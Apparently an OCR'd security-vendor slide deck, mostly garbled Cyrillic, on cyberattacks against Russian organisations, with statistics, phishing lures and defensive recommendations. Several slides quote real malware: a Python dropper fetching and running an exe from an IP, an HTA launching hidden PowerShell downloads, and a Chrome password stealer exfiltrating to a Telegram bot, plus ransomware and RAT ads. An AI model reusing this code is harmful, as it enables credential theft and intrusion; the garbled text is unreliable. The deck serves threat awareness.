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[ poMKIMe cnyyaun B3fIOMOB, NPUMeEHSeMble
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BU3HeCc-KOHCYNbTaHT No 6e30nacHOCTU
B Positive Technologies
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Kak BbirnaguT Bawla

NMHPpaCTPYKTypa B BaluMX rnasax
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Oco6eHHOCTHN aTak pOCCUNCKUX
opraHnsauum B 2023-M roaiy ...

Bbicokag KoopanHauys aTakyloLmMX — FpynnmMpoBKY OOMEHNBAIOTCS
OAHHBIMU 1 LIENGMW

OT NHPOPMALIMOHHbIX MOBOMAOB K peasnibHOMY yLLepby

comes their connections, tied groups and respective communities

PeanbHble yTeukin BMeCcTo GenkoB 1 KOMAWASLUNIA

oooooooo
BBBBBBBBBBB
SiegedSec

DDoS-atakun ong MaCKupoBKY BbIFPY3KIN daHHbIX
ATaku Yepes Liernoyky noctaBok, B T.4. u VIB/UT-komnaHum

YBenuueHne BpemMeHn NpncyTCTBUS B aTaKOBaHHOW MHPPACTPYKTYpe
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COUyBCTBYyOLLME,
XaKTUBUCTbI, MHCaNOepbI
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UYTO Mbl 3Haem
O rpynnupoBKax?

Pa3Hag moTuBaums — LUNMMOHAaX,
YHNUYTOXEHNE NHPPACTPYKTYPHI,
Kpaxkxa NepCcoHabHbIX JaHHbIX,
BblBEEHINE N3 CTPOY, Aedencsl...

Camble NonyngapHble XepTBbl B

Poccumn — rocbl, NPOMbILLNEHHOCTb 1
NT

OcHoBHble TTP — coumanbHbin
NHXWHNPWHE, LLenesBoun GULLINHT, Kpa)a
OaHHbIX, YHUKanbHoe BI1O




TUNUYHBIN cUEeHapun

Telegram-uat

Cant ong
yOaneHHon
3arpysku

[Oponnep EXE Ctunep EXE
- Python

LleneBon BpenoHocHbin  Pann-ccbinka
PULLINHI apxumB
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Pann-nprmaHka



ELle ogvH TUNNYHDBIN CLuEeHapu
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C2-cepBep
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Kak noBSaT XXepTB Ha yAOuUKY?

B apxvBe 06bl4HO
cogepxutca dawnn
Ink n pann .pdf

CneunanbHO
CcO30aHHbIe
BPE€OOHOCHbIE
OOMEHDI

KomnpomeTauuns
caunTta

N pasmeLLleHmne
BPE€LOOHOCHOIo Kofa

0O6a3aTenbHO K NPOYTEHUIO B

or I

Hata CerogHa 12:4

Re: 3anaBka

B cBa3n co cnoxi

Do6pbiit aexb!
OTnpasnany Bam NIaTex OKOM0 5 MECALeB Ha3az, Ceiddac NPULLEN 3anpoc U3 Ha/IOTOBO NO Bam, TPEBYIOT BCe AOKYMEHTb! MO CAeNKe.
Y Bac sce HopmanbHo? Het au npobrem? OueHb Ceiiac He XO4eTCs NONacTb Ha BbIE3/IHYIO NPOBEPKY. Al BaM OTMPaBAAIO AOKYMEHTbI U3 Ha/l0roBOM T.K. 370 roc.

AOKYMEHTbI M NO MAEE Mbl HE A0/IKHbI UX OTNPaBAATL, NOXKaNyNicTa, CoxpaHainTe KonpeanumuanoHocTs. Mapons Ha apxus: doc62024
I/I I I I I/I H ro B bl e I I VI C b M a Nepewnute nucbmo Byxrnatepy noxanyiicra, 6yaem pasbuparsca smecre.

Re: AW: AW: 3aka3 [lononHutensHoe cornawenne Ne2.docx.pdf

[obpkiit AeHb elle paa!
CoobLyaem Bam, 4To Mbl Gyaem 3akpbiThl ¢ 17 o 21 utoHs 2024 r. B cBsian ¢ npaaaxukom KypbaH-baripam.
MoMHMTE Mbl C BaMu NOANMCANY AOM. COrNalleHne Ha NPOANEHNE HALero KOHTPaKTa ?

Cpok ucrek okasbiBaetca. OTnpaenso Bam gon. cornaleHune Ha npoanexune eweé pas.

OBPATUTE BHUMAHME , USBMEHUITUCb BAHKOBCKUE PEKBU3UTLI

14



Mil Dip B Microsoft

mil.dip@mail.ru Multi-Factor Authentication.
***SPAM*** BounHckuid yueT. Nopaaok npuema rpaxaaH rno Bonpocam BOUHCKOrO yueTa v ONoBeWeHna rpaxaaH o Bbi3osax (noseq
KOMUCCapuaTa, B TOM Uucne B 3nek€ = 82poHHoi popme

[o6pbin geHb!
BCTynuAM B CUAY BaXKHBIE M3MEHEHUA B 3aKOHOAATE/LCTBE O BEAEHUM BOMHCKOTO y4eTa u 6poHnpoBaHna rpaaan, npebbisaoumx e 33

* uameHeHus 8 MonoxeHue o BOMHCKOM yuéTe u 53-®3 "0 BomHckoi 0683aHHOCTU M BoeHHOM caykber; you are being held responsible to review security

* U3MEHEeHUe CPOKOB U pacluMpeHue CBEeAEHMIt NPU NepenmucKke No BOMHCKOMY YYETY C BOBHHbIMMU KOMUCCapuaTamu U MHOTO Apyroe. update as of 21/06/2023. Quickly scan above QR Code with your . 4 :

smartphone camera. S on y! 'f 6/2/2023. to mitigate theft and

Mpocum aosectn MHGOpMaLMIO A0 CBEAEHWUA PYKOBOAUTENEN, CNELUANNUCTaM NO KaApOBOMY y4eTy, paboTHUKamM BOEHHO-y4eTHOrO CTO) s A Quicky scanabove Qi Code with

OPraHU3aLMUM M BCEM 3aUHTEPECOBAHHbIM MLAM. Review security 'quixE'ﬂenFs within 2 days of the received date by
going to A int m jer in the Security Center.

eview security requirements within 72 hours of the received date

e Microsoft
BT 06.06.2023 10:58 ® Microsoft

BK BoeHHbH\/] KOchcap[/]aT <Voen|<om@m||ru> Security Authentication (2FA)

YacTtnuHas MO6VIJ'IVI3aLI,VIF| NHONb

Komy

Multi-Fact

Scan the QR code to get started

Csepka 2023.gz
1 MB

You are required to update your multi-factor security authentication on yous
5 email account today 07/27/2023. This is an ongoing process for every email account to
[eHb nobpbin! B ot it R st Ve il
recently upgraded. Scan the QR CODE above with your CELL PHONE CAMERA
to activate authentication.

Review secunity requiressests withia 72 bowrs to svoud maruption




BpenoHocHas Harpyska C fierasibHoOro

CauTa

3arpyska BpeOHOCHOro
UMMaHTa

n panna-

NpUMaHKu

C fleranbHoOro
CKOMMPOMETUPOBAHHOIO
caunTa

000

file_url = 'http://46.161.27.151:80/cl.exe’

file_path = os.path.join('C:", \ProgramData', 'winconf.exe')
pdf_url = 'https://kyrgyzkomur.gov.kg/Document.pdf’

pdf_file_path = os.path.join('C:', '\ProgramData', 'Document.pdf')

response = requests.get(pdf_url)
open(pdf_file_path, 'wb') file:

file.write(response.content)
webbrowser.open(pdf_file_path)
response = urllib.request.urlopen(file_url)
file_contents = response.read()
open(file_path, 'wb"') file:
file.write(file_contents)
subprocess.call(r'c:\programdata\winconf.exe', shell= )

o]

16



MeToabl aTak Ha opraHu3auuu &

cnonb3osaHune BIMNO 60%
CoumanbHag NHxXeHepng 45%
okcnnyataums ya3BruMmMocTen 32%

KomnpomeTaums y4eTHbIX OaHHbIX 13%

DDoS 9%

KomnpowleTau,mq Lerno4kn rnoctaBokK 5%
nnn goBepeHHbIX KaHa/10B CBA3N 2

Opyron 5%
VictouHuk: Positive Technologies, 2024



«B no6» cerogHs yxe
aTaKyloT fasieko He Bceraa

Bam Hy>XeH MOHUTOPUHI NICTOYHNKOB AaHHbIX 06 Yrpo3ax um
cooTtBeTcTByloWMN cepBuc Threat Intelligence / Digital Risk Protection



3anycK Harpysku yepes

environ[ 'USERPROFILE'] + os. + r'AppData\Local\Google\Chrome\User Data\Local
State', "r") file:
localstate = file. (0]
localState = json. (localstate)
MasterKey = base64. (localstate["os_crypt"]["encrypted_key"1)
MasterKey = MasterKey[5:]
MasterKey = win32crypt. (MasterKey, - = g
0)[1]
self. = MasterKey

decrypt(self, buffer, MasterKey):

iv = buffer[3:15]
Payload = buffer[15:]

cipher = AES.new(MasterKey, AES. , iv)
Decrypt = cipher. (Payload)
Decrypt = Decrypt[:-16]. de()
Decrypt
000
name = " main i
<html> _ane_ = *_main_
PATH = os. [ 'USERPROFILE'] + os. + r'AppData\Local\Google
<head> \Chrome\User Data\default\Login Data
Chrome = Main()
shutil. (PATH, "Loginvault.db")
<HTA:APPLICATION icon="https://cdnl.iconfinder.com/data/icons connect =aiitest BBty

cursor = connect. O

/google_jfk_icons_by_carlosjj/512/chrome.png" WINDOWSTATE="minimize" datars 01

SHOWINTASKBAR="no" SYSMENU="no" CAPTION="no" /> S i ("SELECT action_url, username_value, password_value FROM
<script language="VBScript"> . T o

commandl = "powershell -WindowStyle hidden -command Invoke-WebRequest -URI https://e- e

aks.uz/file.pdt -OutFile 'c:\programdata\file.pdf'; c:\programdata\file.pdf" Sl i i B Ty
command2 = "powershell -WindowStyle hidden -command Invoke-WebRequest -URI https://e-

aks.uz/lsacS.exe -OutFile 'c:\programdata\lsacs.exe'; c:\programdata\lsacs.exe" a2
command3 = "powershell -command Remove-Item %USERPROFILE%\Downloads\Nota.rar" e} e,

Set WshShell = CreateObject("WScript.Shell") T
WshShell.Run commandl,0 e

WshShell.Run command2,0 Sotegt cloncl)

Chrome.

0s. ("Loginvault.db")
WshShell.Run command3,0 1in data:
message = f"URL: {i['url']}\nusername: {i['username']}\npassword:
Close {4[ *password*1}*
. requests. (f"hxxps[://]apil.]ltelegram[.]org
</scr1pt> /bot5885840251: AAGBHOC ) r I1QANXkA40qnJ601gPP7w86C1g/sendMessage?chat_id=56833854226

text={message}")

</head>
</ html>

Exception as e:

HTA-dawnn nogrpyxaeT BpeaoHOC KacTomHbIN BpegoHoc Ha Python 19
yepes neranbHbll UHCTPYMEHTapUn



KacTomMmunsauusa atak nopa,
KaXkayio YXepTBY

Basilisk Services

Your Vision, Our Exploits

'MY SERVICES

4 a bypass to your file which make

many tim | be scanned.

rypted for Bypass or else you must buy Crypt +

O6ecneyeHune HezameTHocTun BI1O

v just as any legitimate file, no matter how

.RaaS] KUIPER ransomware ( Golang ) - Windows / Linux / ESXi / NAS / + -

& RobinHood - ©®

. =

1ago

Forums > Market\ Market > Partners Program \ Raa$S \ Partner Program

KUIPER

@

6od

Feb 18,2023
Messages
Reaction score
Points

19
3

ago New < 0O #1

We introduce our partnership affiliate raas program KUIPER
Developed in Golang , written from scratch with no external sources from other software.

WARE
-Encryption algorithm AES-CFB with random key/IV ( AES key encryption with RSA-4096 )
-Customization of binaries for every attack and network if needed for better deployment and higher success % of damage caused in attack.

-Arguments through terminal typing --help available:

-p PATH ( set path to crypt ) Default: "/A-Z" disks ( Windows related ), root = “/” | non-root = “/home” ( *NIX related )
-reboot yes/no ( Default: yes ) Reboot system after crypt process.

-note yes/no ( Default: yes) Leave note while (yes) or after (no) crypt.

-name yes/no ( Default: yes ) .kuiper extension changes while (yes) or after (no) crypt.

-Unique key for each network.

-No dependendies needed.

-Critical system folders and extensions excluded for crypt.

-Self deletion of binary after crypt process is finished ( Windows related ). Before crypt process is finished ( *NIX related )

-Stop and kill services and processes on loop to avoid interruptions ( including AVs, EDRs, SIEMs, blue team tools and defenses related) before and meanwhile crypt.

YHunkanoHocTb BI'NO nopg xepTtBy



Tunbl BpeaoHocHoro MO B aTakax ot

Ha opraHu3aunmn

LLndpoBanbLumk

LWnnoHckoe MO

BINO gna yonaneHHoro ynpasneHns

3arpysumk

MawnnHep

MO, yoansgwowee gaHHble

BaHkoBCKuM TPOSH

[pyrow

2%

2%

1%

2%

12%

23%

21%

57%

VictouHuk: Positive Technologies, 2024



TpaauUMoOHHbIe noaxoabl K
MOHWUTOPUHIY He Bceraa
nomoraioT ®

EDR (Hanpumep, MP EDR), NTA/NDR (Hanpumep, PT NAD), TDIR...



O yem roBopsT TECTDI
Ha NPOHNKHOBEHNE

UYucno waros gnsg NMPOHNKHOBEHNSA
B NIOKaJIbHYIO CeTb

1% [na Toro ytTo6bl LOKa3aTh, YTO HEQOMYCTMMOE CObbITNE
OEeNCTBUTENbHO MOXHO OCYLLECTBUTb, B CPeAHEM
TpeboBanoCb OecaTb AHEN.

15%

16%

B 96% B 64%

opraHunsauunin yoanoch opraHmn3aunin 310yMblLLUAEHHNK
CKOMMPOMETNPOBaTb MOT 6bl MONYYNTb
58% OOMEHHbIE YYEeTHbIe HeCaHKLMOHNPOBaHHbIV JOCTYM
OaHHble COTPYAHNKOB, K KOHOUAEHLManbHOw
nHbopmaumn.

1war oT 3 0o 6 waroB
2 wara 7 n 6bonee waros

VictouHuk: Positive Technologies, 2024

WTorm neHtectoB — 2023



https://www.ptsecurity.com/ru-ru/research/analytics/results-of-pentests-2021-2022/

O yem roBopsaT TeCTbl
Ha NPOHNKHOBEHNE

CnoXxHocTb BeKTopa
NPOHNKHOBEHUS BO BHYTPEHHIOIO CeTb

1% CpenHee BpemMs HaxoXaeHns B
NHPPaCTPYKTYpE 40 O6HapPYXeHNs —
200 gHen. MakcumanbHoe Bpems o4
obHapyxeHuns = 11 net

58%
31%

6,5 yacoB — MVHNMaNbHO
3aTpavyeHHoe BpeMd O/19 3axBaTa
KOHTponepa gpomeHa. CpenHee
Bpema — 1-7 gHen

HN3Ka4qA BbICOKa4s
cpenHad

VictouHuk: Positive Technologies, 2024
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https://www.ptsecurity.com/ru-ru/research/analytics/results-of-pentests-2021-2022/

[TpoMbILLIeHHbIE NpeanpuaTUS .

BHHMHM? JNTOKAJIbHA4
CETEBOW BbIYNCITUTESIbHAA CETb
NMEPUMETP LleHTp
cepTundukaumn
v
EE—
— EE— —
Beb-npunoxeHne KoHTponnep CepBep
nnn CMS OOMeHa yrpaBfieHuns
aHTNBVPYCHON
l 3aLmTon
E—
—
CeTeBoe
obopyAoBaHue KomnbtoTepsl MeHemxep
COTpPpyOHKOB naponem

MPOMBbILUJIEHHDBIE
CEMEHTDI

SCADA

[TaHenn
onepatopos HMI

[Mporpammupyemblie
nornyeckmne

KOHTpPO1epbl

KpunTtunyHble
npuknagHole
CUCTEMbI 25



IT-KoMnaHun

BHELIJHVI?I JNOKAJIbHA4
CETEBOWU BbIYNCITNTESIbHAA CETb
MEPUMETP
MS Exchange Server —
Beb-npunoxeHne > > — e
nnn CMS
LleHTp KoHnTponnep KpuTunyHble
cepTudunkaumnn OOMeHa npwknagHble
CUCTEMDI
CeTeBoe l
E—
obopynoBaHue
VPN
6e3 BTOPOro pakTopa KomnbloTeps!
COTPYOHNKOB 26




OpraHnsauum TOK

BHELUHWIA NOKAMbHAS
CETEBOVI BbIYVCNNTENBbHAS CETb
MEPNMETP
Confluence
T Cuctema
MS Exchange Server > 9NEKTPOHHOTO
OOKYMEeHTOO60poTa
" — —
LleHTp KoHTponnep KpuTUUHble
cepTudunkaymn OOMeHa NPUKNaaHbie
cucTembl
VPN/RDP
6e3 BTOporo ¢paktopa
KomnbloTepsbl
COTPYAHNKOB 27



TTA >TTR

XapgeHuHr NT-nHdpacTpyKTypbl HAKTO HE OTMEHSS 1 ero
NOCTOSHHbIV KOHTPOSb (Hanpumep, ¢ nomolbio PT Carbon)




Ycunenue UT-uHppacTpyKTypbl ANg =
VYMEHbLUEeHNSA NJioaan aTaku

HacTpouika
aNleMeHToB

3HaHne aKkTBOB

[NprnopuTtesauns akTMBoB
G G L]

\

Pa6ouux cTaHuuin
= CepBepoB

= HPpacTpyKTypHO
ro o6opynoBaHNs

OnpepeneHne LeneBbix

MoAnTUKN N KIOYEBbIX CUCTEM / . can
= [laponbHas
* YpaneHHoro /
ynpasJieHn4 e} ® eoosss e ooase o P —
»  CermeHTtaumu 7 HacTpoiika
= CrtaHgapTHoro N0 / HGPACTPYKTYDb
YnpaBneHune HacTponka = CermeHrauun
I YSI3BMMOCTAMMN CepBUNCOB * MapupyTtrsaumm
= QunbTpaumm
\ = MHorodpakTopHON
ayTeHTudunkaumm
BupTyanbHbin YnpaBneHune 29

naTynHr N3MEeHeHNIaMN



OcHoBHbIe cpeacTBa 3alUThl a

SIEM 84%

EDR 81%

IDS/IPS 65%

NTA / NDR 50%
YnpaBneHne y93BUMOCTIAMMN 50%

Threat Intelligence Service 43%

SOAR 28%

VicTtouHuk: 2024 Cybersecurity Buyers Report



YpoBeHb OrNaCHOCTEWN, BbISIB/IEHHbIX
Npw NeHTecTe

Koa Be6-NpUnNoxXeHnn 8% 19% 54%
O6HoBMNEHNS 19% 4% IRV
KoHpurypauus 46% 30% 12%
[TaponbHag nonnTuka 27% 42% 12%
KpuTUYeCKnii @  BbICOKIIA ® cpenHwii He onpeneneH

31



[locTOsiHHOE paclnpeHne
$dyHKLNOHaNa

[rsp+0A8h+var_10], rax
rdx, aloggingOutputT ; gging ou
rcx, cs:std::ostream std::cout
sub_140003AA0
rcx, rax
rdx, aKeyloggerlLog ;

TR —

sub_
rcx, rax
rdx, sub_140003E30

cs:std::ostream: :operator<<(std::ostream & (

cs:qword_14000A0D8, ©

loc_14000213A

edx, ©Ah

r8d, [rdx+36h]

rcx, akKeyloggerlLog ;

cs:stie =

rbx, rax

rax, rax

loc_14000213A

cs:byte_14000A0D4, 1

cs:byte_14000A0C9, ©

rcx, qword_14000A058

cs:std: :streambuf::_Init(void)

edi, edi

[rsp+0A8h+Base], rdi

[rsp+0A8h+Pointer], rdi

[rsp+BA8h+Count], rdi
rsp+0A8h+Count] ;

dword ptr [rdx], 'nur/’
loc_6653EC -
word ptr [rax+rax+00000000h]

rbx, 1

loc_6653EC

rcx

[rsp+570h+var_2E8], rcx
rax, 16h
[rsp+576h+var_2A8], rax
rbx

[rsp+5706h+var_2F0], rbx
rdi, asc_755C7@ ; " "
esi, 1

sub_4DABE®

Kennorep 3anncoiBaeT
BeCb BBO[, C KJlaBMaTypbl

Golang-nmnnaHT ncnonbadyet Telegram 5,
kak C2-kaHan n KaHan cnmBa gaHHbIX



Telegram-uat

Cant ong ‘

yOaneHHon I

3arpysku
> od
\Q Vimnnant / BINO

EXE
1O
PS

‘ Telegram-uaT 33
Pann-npumaHka Pann-npumaHka

S¢

ElLle oauH cueHapw

BpenoHoCHbIn

PS1RAT

Lleneson
PULLNHT
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| Ctunnep SHARP ¢ 6bICTpbIM OTCTYKOM B Tefierpam OT Hallero
npoekTa

ManeHbkoe onucaHue codra:

[oTOBbIN K UCNONb30BaHMIO 6ung TMB

CodT MOXHO 6paThb B apeHay

ECTb BO3MOXHOCTb OTCTYKa C UCNONb30BaHUEM NPOKCH
Ctunnep HanucaH Ha C#

BoamMoxxHOCTH U ByHKUMOHAN:

- NMoppaeprkka Chromium, Yandex, Opera, Firefox, Brave, Atom,
Gecko. Takxe paboTtaet ¢ X86 6paysepamu

- Kpaxka cookie davinos ans Bxoaa Ha canTbl, naponu, AutoFile,
UCTOPUU U KapT U3 B6pay3epos

KYKM 3anucbiBatoTcs Ans paboTbl ¢ cneyuanu3vpoBaHHbIMU
pacLumMpeHuaMm

- rpabbep ceccum 1 Bcero BO3MOXHoro ns Discord:

Kpa)ka TOKeHa, TenedoHa NpUBSI3aHHOro K aKKayHTY, 6aHKOBCKUe

KapTbl KOTOpPbIMUK COBepLUanacb onarta B AgucKopa, email

KOTOPbI NPUBA3aH K aKKayHTY, UMs

aKkayHTa ("—-_"EE=_ =E), npoBepKa Ha Hanuuue MFA, npoBepka
Ha Hanuuue Nitro y xxepTebl. U c6op 3TUX AaHHbIX MAaeT 6onee
4yeM U3 25 6paysepos.

- rpab6ep ceccuu Telegram (KnueHT)

- rpab6ep Jabber (npoTokon + noruH + naposnb)

- rpa66ep ceccuum Viber (KnueHT)

Sharp Stealer

RAT n Telegram B ¢pokyce

«KpbICHasa Konnekung»

t=mm el - e

MeGa-RAT-Pack-master.rar

KpbicuHasa konnekyms!

Ymo makoe kpeica?
Bkpamue: no3eonaem ydaneHHO KOHMPOAUPOBAMb MefedOH unu
KoMneromep u eudems e20 codepiumoe

@ Inside

ANDROID ( Spy Note 5 )

888 RAT Private - Cracked
888RAT1.0.80 Cracked
CinaRAT

CobianRAT v1.0.40.7
Coringa-RAT
Death-RATV0.10

Eagle RAT v2.5

HichamRAT v0.9d

Hidra Force v4.0

Kronus RAT Free

LeGend Rat v1.9

LimeRAT v0.1.8.5C

LuxNET RAT v1.1.0.4 Cracked
Mega RAT 1.5 Beta
NanoCore 1.2.2.0FixedCracked
NjRat 0.7D Danger Edition 2018
NjRat Lime Edition 0.8.0
PentagonRAT

Quasar 1.3 modified by Deos
Quasar Golden Edition 1.4.1.0
REMCOS v1.7 Professional
Revenge-RAT v0.3
SaherBlueEagleSplitter[RAT]
Shia Hacker School -Rat v1.0
SlayerRAT v0.7.2 By X-Slayer
VayneRat

Viral RAT 1.0 by Sameed
Virus Rat v8.0 Beta
WARZONE 1.2 Cracked
njRATv0.11G

WIRAT v0.1.5F




Kak Bbl MOHUTOpPUTE
ncnonb3oBaHue lelegram
NN UHbIe
3alundppoBaHHble KaHanbl?

PelwueHna knacca NTA/NDR (Hanpumep, PT NAD) ¢ BO3BMOXHOCTbIO
NoeHTUPUKaLIMM 1 aHann3a MecCeHoKepoB



TemaTtuka coobLieHn B fapKHeTe

Ba3a gaHHbIX 42%

www.auchan.ru 2020 ~ 2023

LocTtyn 25%

Breached
MEMBER

Mnaing 6a co cBexero puLIMHra
AHOHCbI 16% [epBOMCTOYHMK, NpoAaxa ToNbko B 1 pyku
BbIMOraTtenem OnTt nocne 10 npogax paccMoTpto
PaboTta yepes rapaHTa BCceraa 3a

LOpyrue 15%

VictouHuk: Positive Technologies, 2024



OcHoBHble TexHukn MITRE ATT&CK,

o]

No3BONAIOLLINE NONTYYNTDb AOCTYI N3BHE

2% 2%

1

13%

43%

40%

T1078: Valid Accounts T190: Exploit Public-Facing Applications

T1133: External Remote Services @  T1212: Exploitation for Credential Access

T1189: Drive-by Compromise

B 2024-m rogy rnaBHbIM TPEHOOM
CTann aTakn Ha LenoYKin NoCTaBoOK
(nogpsa4nkoB)

B 7 n3 10 nHopacTpykTyp BOSMOXHO
nogobpaTb yYeTHble 3anncin ans
NONYyYEeHNS HECAHKLUVNOHNPOBAHHOIO
nocTtyna
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TpaguunoHHbIe Noaxoabl K
MOHWUTOPUHIY He Bceraa
nomoraiot ®

EDR, NTA/NDR, CDR, TDIR...



AD He HyXeH, poaHou (c)

O6HapyxeHune
O6HapyxeHne O6HapyxeHne Py MonyyeH AoCTyn
[0OCTYMHOro Be6- SQL-nHbeKLMN, BO3MOXHOCTH K LleNeBoil
3arpy3uTb painn
MPUIOXEHMS KOMMaHNV akcrnyaTauns Py ¢ ! e -
3M0OYMbILLNEHHIK Be6-npunoxeHune MpunBUIErnpoBaHHbIN YcTaHOBNEHHbIN BE6- LleneBasi cuctema
KOMMaHunn OOCTyn K 9TOMY NHTEepnpeTaTop

BE6-MPUSIOXEHIIO
[Mpnmepbl nocnecTBuiA; [Mpnmepbl cuctem:

MNoTeps KNMeHToB Basa paHHbIX KNMeHTOB

Byxrantepckon oT4eTHOCTN

PurHaHcoBbIN YLLEepb
yriep KnueHT-6aHk

YnpaBneHne NorncTnkon
OcTaHOoBKa OeaTeNnbHOCTY KOMMaHnn

CucTtema nogaoepXkun KNNeHToB

YnpaBneHne TEXHONOrMYeCKM NpoLeccom
PerynaropHble CaHKLY

[nga peannsauynun
HegonyCTUMOro CObbITUS
Heobs3aTeNbHO Nony4vyaTb
MaKCUMalbHble
npuBunernn B AOMeHe



TOYKN NPOHNKHOBEHWE B CETb
KOMMaHU

HepocTaTkuy KOHOUIypaLwiv BEG-MNProxXeHni — 36%

Yazsumoe MO, nocnyxunsBLiee TOUKON BXoAa B KOMMaHUIO

(mons komnaHwin)
CMS Bitrix 53% 2 2
B &

Microsoft Exchange 26%

KOMMNaHun

WebTutor 16% ncnosb3oBananucb
ys13BUMOCTUN HYJ1IEBOIr0O

Atlassian Confluence 1% :@' OHSA

Opyroe MO 42%

[To paHHbIM nccnegoBaHua Positive Technologies «ltorn neHtectoB — 2022»



https://www.ptsecurity.com/ru-ru/research/analytics/results-of-pentests-2021-2022/
https://www.ptsecurity.com/ru-ru/research/analytics/results-of-pentests-2021-2022/

HeT cmbicna

POKYyCUPOBaTbCH Ha
aTOMapPHbIX TEXHUKaX U
aTakax — UX C/IMLLUKOM
MHOIo

CtpounTe uenoukun! SIEM (Hanpumep, MaxPatrol SIEM), XDR
(Hanpumep, PT XDR), meTa-npoaykTbl (Hanpumep, MaxPatrol O2)




o]

Kak onpegendailoTcs
XXepTBbl?

icnonb3oBaHmMe OTKPbITbIX CEPBNCOB
Tna Shodan gng ckaHnpoBaHNA
NOTEHLMaNbHbIX XXEePTB

lcnonb3oBaHMe ckaHepoB
ya3BumMmocTen Tuna Acunetix ong
noncka ya3BMMOCTeN Ha web-canTax

XEepTB
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[Mouck xepTB Yepe3 Google Dorking

[Tonck ysa3BMMbIX
cepBepoB Ha 6a3e PHP

OnpepeneHne CMS gng
NONCKa OTKPbITbIX
anpexkTopun

[Tonck ya3BmnmMmocCTen

URL: https://www.google.com/search?q=site%3A +ext%3Aphp+intitle%3Aphpinfo+%27published-
td216EAXKBAhBGAFKBAhGGABQigVYigVg3xFoAXAAeACAAakBiAGpAZIBAzAuMZgBAKABAGABACABAQ&sclient=gws-wiz
Title: site: ~ ext:php intitle:phpinfo ‘published by the PHP Group' - lMouck B Google
Last Visit: 2022-06-17 10:03:38.061108

URL: https://www.google.com/search?q=site%3A*. =~ %ei=p1GsYt2NBYTukgW-mZ_oDw&ved=0ahUKEwid |
Title: site:*.:’ -~ - Nouck B Google

Last Visit: 2022-06-17 10:04:28.504137

URL: https://whatcms.org/?s= =~ _
Title: Detect which CMS a site is using - What CMS?
Last Visit: 2022-06-17 10:00:34.314278

URL: https://www.google.com/search?q=site%3A." tintitle%3Aindex.of++%7C+%27parent+director
BQMA1lYziZg4CdoAnAAeACAAYkCiAGZDSIBBTAUNCA1mAEAOAEBWAEB&sclient=gws-wiz

Title: site:.*. intitle:index.of | ‘parent directory' - Mouck B Google

Last Visit: 2022-06-07 04:19:38.792959
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PULLNHIroBbIe KUTDI

MITM PHISHING KITS

o6HoBUN &
FOR POPULAR SITES ++

pobasun noanepxky OpenAl Ans TeMbl U TEKCTa B pexuMe paccbinka !!!
nobasun obpaboTky ownbok npu 3anpoce Ha UK
nopenaH 3anpoc TeKCTa N1cbMa
APCUMHI OTBETA KaK CMUCOK.
€/ NONPOCUTL BbIAATL HECKO/bKO BAPUAHTOB CPasy, BEPHET CMUCOK C BapUaHTaMW. ITO 3aHOCUTCA B CMIMCOK M PasHble NOTOKM 6epyT pasHbie BapuaHTbl

= IOXHO AENATH YHUKAJBHBIE MUCbMA(PAHAOMHBIE) OT MW B PEXXWIME PACCBIJIKE
3npacrsyiite

.RAR

1 enjoy =
pdated ©

fully proxie:

dded OpenAT support for theme and text in mailing mode !!!

. Ha60p NH CprM eHTOB Aﬂ a nplemented a request counter for AI and set up work with this counter for topics

dded error handling when requesting Al
(1) nwwumHra ca VITO B pmpleted the request for the text of the letter
@rsing the response as a list.
you ask to issue several options at once, it will return a list with options. This is listed and different threads take different options.

- 3TO Ha6op V‘HCprMEHTOB IS POSSIBLE TO MAKE UNIQUE LETTERS (RANDOMIZED) FROM AI IN MAILING MODE
AnA GULLIMHTa caiToB, CEpBUCOB, COLL.
ceteli u gaxe urp (Hanpumep, Fortnite).
OH o4eHb Nerok B NCMNONb30BaHUN U
npUMeHeHnu.

YcTaHoBKa:
$ clone

$cd STP
$ bash
$ bash

1 KOMMeHTapui




[locnepcTBug aTak Ha opraHM3auum  F

YTeuka KoHdugeHumanbHom nHbopmaumnm

HapyLleHne 0OCHOBHOW OesSTeNbHOCTI

[Mpamble prHaHCOBbIE NOTEpPKU

Ywepb nHtepecam rocygapcTtea

lcnonb3oBaHme pecypcoB ang npoBeaeHnsa aTak

}Opvu:wlquKaq OTBETCTBEHHOCTb

Lpyroe

HewnssecTHO

5%

5%

4%

1%

3%

12%

56%

39%

VictouHuk: Positive Technologies, 2024



ATaKkun MOryT 6bITb
OCYLUECTBNATbCS Yepes

NMPOMEeXYTOUHbIS 3BEeHDbS

COTPYOHWKOB JOMa 1 Yepes
NoapPSaYNKOB 11 MOCTaBLLNKOB YCNyT



ATakun Ha
pa3paboTunkoB

= [10 n3 Poccun

\ xxx COPT

YHuTapunyc
(Heny6nYHbIE Kenchl)

3 g i R W st bk ¥




ATtakn Ha V1b-
KomMmnaHum n3 PP

T.Hunter

BI.ZONE

IHpOoTEKC

JlabopaTtopung Kacrnepckoro

IGrids

HTLL «BynkaH»

LleHTp nHdopmaLmmoHHON 6€30MacHOCTH

«CneunanbHble TEXHONOrNN 3aLUnThbl
NHPoOPMaL NN




He xpuTe, Korga xakepbl
HangyT BaLlu cnabble
MecTa — ULLUTEe UX caMm

CkaHnepsbl yassumocTten (Hanpumep, MIP VM), BAS (Hanpumep, PT
Knockin), neHTecTbl, Nporpammbsl Bug Bounty n T.0.



PeasibHbIN pt
UHUMNAOEHT

Bug
Bounty
Ha HC

[MNeHTeCT
«Ha Makcumankax»

Knaccunyeckas
Bug Bounty

[MeHTecT /

KnbepyueHus / REE BTG

KNoepnosmroH

CkaHepbl 6e3onacHocTu /
Breach & Attack Simulation




[lopBepem ntorn

Uncno atak 6ecKoOHeYHOo

B «nob» cerogHd yXe aTakyloT Janeko He Bcerga
YTeukun 6a3 gaHHbIX NoBbIWaT 3dPEeKTUBHOCTb aTak

Henb3a MOHUTOPUTL BCE - GOKYCUPYNTECH
Yingnte oT aToMapHbIX COBbITUN B CTOPOHY LienoYek

Icnonb3ynTe pa3Hble CEHCOPbI B PasHbIX MecTax MHPPAaCTPYKTYPb!
ATaKn MOryT NpoBOANTbLCS HE TONbKO paan NPAMON Kpaxwn aeHer

YuunTtbiBanTe byayLime yrpo3sbl (aTakm Ha MCXOOHbIN KOA, U
B3aMMO3aBNMOCTI)

Positive Technologies rotoBa Bam nomoraTb B 60pbbe C xakepamu



Cnacunbo

alukatsky@ptsecurity.com



